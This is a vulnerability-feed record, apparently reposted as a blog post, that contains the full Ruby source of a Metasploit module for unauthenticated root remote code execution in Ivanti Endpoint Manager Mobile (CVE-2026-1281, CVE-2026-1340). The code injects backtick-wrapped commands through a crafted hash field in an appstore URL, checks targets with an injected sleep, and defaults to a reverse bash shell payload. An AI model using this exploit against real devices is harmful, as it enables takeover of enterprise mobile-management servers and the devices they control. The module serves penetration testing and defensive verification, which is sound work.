{“lastseen”:”2026-02-10T19:28:02″,”description”:”This module exploits a OS command injection issue in Ivanti Endpoint Manager Mobile EPMM, formerly known as MobileIron. A remote attacker can achieve unauthenticated RCE with root privileges on an affected device. Module Options msf use…”,”published”:”2026-02-10T18:59:24″,”modified”:”2026-02-10T18:59:24″,”type”:”metasploit”,”title”:”Ivanti Endpoint Manager Mobile (EPMM) unauthenticated RCE”,”source”:””,”references”:””,”id”:”MSF:EXPLOIT-LINUX-HTTP-IVANTI_EPMM_RCE-“,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2026-1281″,”CVE-2026-1340″],”sourceData”:”##\\n# This module requires Metasploit: https:\/\/metasploit.com\/download\\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n##\\nrequire ‘rex\/stopwatch’\\n\\nclass MetasploitModule \\u003c Msf::Exploit::Remote\\n Rank = ExcellentRanking\\n\\n include Msf::Exploit::Remote::HttpClient\\n prepend Msf::Exploit::Remote::AutoCheck\\n\\n def initialize(info = {})\\n super(\\n update_info(\\n info,\\n ‘Name’ =\\u003e ‘Ivanti Endpoint Manager Mobile (EPMM) unauthenticated RCE’,\\n ‘Description’ =\\u003e %q{\\n This module exploits a OS command injection issue in Ivanti Endpoint Manager Mobile (EPMM), formerly known\\n as MobileIron. A remote attacker can achieve unauthenticated RCE with root privileges on an affected device.\\n },\\n ‘License’ =\\u003e MSF_LICENSE,\\n ‘Author’ =\\u003e [\\n ‘watchTowr’, # Original analysis and PoC\\n ‘sfewer-r7’ # MSF module\\n ],\\n ‘References’ =\\u003e [\\n [‘CVE’, ‘2026-1281’],\\n [‘CVE’, ‘2026-1340’],\\n # Vendor advisory\\n [‘URL’, ‘https:\/\/forums.ivanti.com\/s\/article\/Security-Advisory-Ivanti-Endpoint-Manager-Mobile-EPMM-CVE-2026-1281-CVE-2026-1340?language=en_US’],\\n # Vendor guidance\\n [‘URL’, ‘https:\/\/forums.ivanti.com\/s\/article\/Analysis-Guidance-Ivanti-Endpoint-Manager-Mobile-EPMM-CVE-2026-1281-CVE-2026-1340?language=en_US’],\\n # Technical analysis \\u0026 PoC\\n [‘URL’, ‘https:\/\/labs.watchtowr.com\/someone-knows-bash-far-too-well-and-we-love-it-ivanti-epmm-pre-auth-rces-cve-2026-1281-cve-2026-1340\/’]\\n ],\\n ‘DisclosureDate’ =\\u003e ‘2026-01-29’,\\n ‘Privileged’ =\\u003e true, # Executes as root.\\n ‘Platform’ =\\u003e [‘unix’, ‘linux’],\\n ‘Arch’ =\\u003e ARCH_CMD,\\n ‘Targets’ =\\u003e [\\n [\\n # Successfully tested with the following payloads against MobileIron 11.2:\\n # cmd\/unix\/reverse_bash\\n # cmd\/unix\/reverse_netcat\\n # NOTE: The Linux fetch payloads did not work on MobileIron 11.2, YMMV on later product versions.\\n ‘Default’, {\\n ‘DefaultOptions’ =\\u003e {\\n ‘PAYLOAD’ =\\u003e ‘cmd\/unix\/reverse_bash’,\\n ‘FETCH_WRITABLE_DIR’ =\\u003e ‘\/tmp’\\n }\\n }\\n ],\\n ],\\n ‘Payload’ =\\u003e {\\n ‘BadChars’ =\\u003e ‘`’\\n },\\n ‘DefaultTarget’ =\\u003e 0,\\n ‘DefaultOptions’ =\\u003e {\\n ‘RPORT’ =\\u003e 443,\\n ‘SSL’ =\\u003e true\\n },\\n ‘Notes’ =\\u003e {\\n ‘Stability’ =\\u003e [CRASH_SAFE],\\n ‘Reliability’ =\\u003e [REPEATABLE_SESSION],\\n ‘SideEffects’ =\\u003e [IOC_IN_LOGS]\\n }\\n )\\n )\\n\\n register_options([OptString.new(‘TARGETURI’, [true, ‘Base path’, ‘\/’])])\\n end\\n\\n def check\\n res_ver = send_request_cgi(\\n ‘method’ =\\u003e ‘GET’,\\n ‘uri’ =\\u003e normalize_uri(target_uri.path, ‘mifs’, ‘user’, ‘login.jsp’)\\n )\\n\\n return CheckCode::Unknown(‘Connection to \/mifs\/user\/login.jsp failed’) unless res_ver\\n\\n return CheckCode::Unknown(\\”Unexpected \/mifs\/user\/login.jsp response code #{res_ver.code}\\”) unless res_ver.code == 200\\n\\n ver_match = res_ver.body.match(\/ui\\\\.login\\\\.css\\\\?([\\\\d.]+)\\”\/)\\n\\n return CheckCode::Unknown(‘Failed to version match on ui.login.css’) unless ver_match\\n\\n product_name = ‘EPMM’\\n\\n # Ivanti acquired MobileIron and rebranded it to Endpoint Manager Mobile (EPMM) around version 11.4.\\n if Rex::Version.new(ver_match[1]) \\u003c Rex::Version.new(‘11.4.0.0’)\\n product_name = ‘MobileIron’\\n end\\n\\n version_string = \\”Detected Ivanti #{product_name} version #{ver_match[1]}\\”\\n\\n sleep_time = rand(4..8)\\n\\n # We use proof-of-execution in the form of a delay to confirm if a target is vulnerable.\\n res, elapsed_time = Rex::Stopwatch.elapsed_time do\\n execute_cmd(\\”sleep #{sleep_time}\\”)\\n end\\n\\n return CheckCode::Unknown(\\”#{version_string}. Connection failed\\”) unless res\\n\\n if elapsed_time \\u003c sleep_time\\n return CheckCode::Safe(version_string)\\n end\\n\\n CheckCode::Vulnerable(version_string)\\n end\\n\\n def exploit\\n execute_cmd(payload.encoded)\\n end\\n\\n def execute_cmd(cmd)\\n elements = {\\n ‘kid’ =\\u003e rand(32),\\n ‘st’ =\\u003e ‘theValue’.ljust(10), # A length check in EPMM requires this value to be 10 characters long.\\n ‘et’ =\\u003e (Time.now + (60 * 60 * rand(24))).to_i,\\n ‘h’ =\\u003e \\”gPath[`#{cmd}`]\\”\\n }\\n\\n hash = ‘sha256:’\\n\\n hash += elements.map { |k, v| \\”#{k}=#{Rex::Text.uri_encode(v.to_s, ‘hex-noslashes’)}\\” }.join(‘,’)\\n\\n vprint_status(\\”hash: #{hash}\\”)\\n\\n send_request_cgi(\\n ‘method’ =\\u003e ‘GET’,\\n ‘uri’ =\\u003e normalize_uri(\\n target_uri.path,\\n ‘mifs’,\\n ‘c’,\\n ‘appstore’,\\n ‘fob’,\\n ‘3’,\\n rand(1024).to_s,\\n hash,\\n \\”#{SecureRandom.uuid}.ipa\\”\\n )\\n )\\n end\\nend\\n”,”sourceHref”:”https:\/\/github.com\/rapid7\/metasploit-framework\/blob\/master\/modules\/exploits\/linux\/http\/ivanti_epmm_rce.rb”,”cvss”:{“score”:9.8,”severity”:”CRITICAL”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/www.rapid7.com\/db\/modules\/exploit\/linux\/http\/ivanti_epmm_rce\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-02-10T19:28:02″,”description”:”This module exploits a OS command injection issue in Ivanti Endpoint Manager Mobile EPMM, formerly known as MobileIron. A remote attacker can achieve unauthenticated RCE…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,35,12,169,13,7,11,5],"class_list":["post-40107","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-98","tag-exploit","tag-metasploit","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n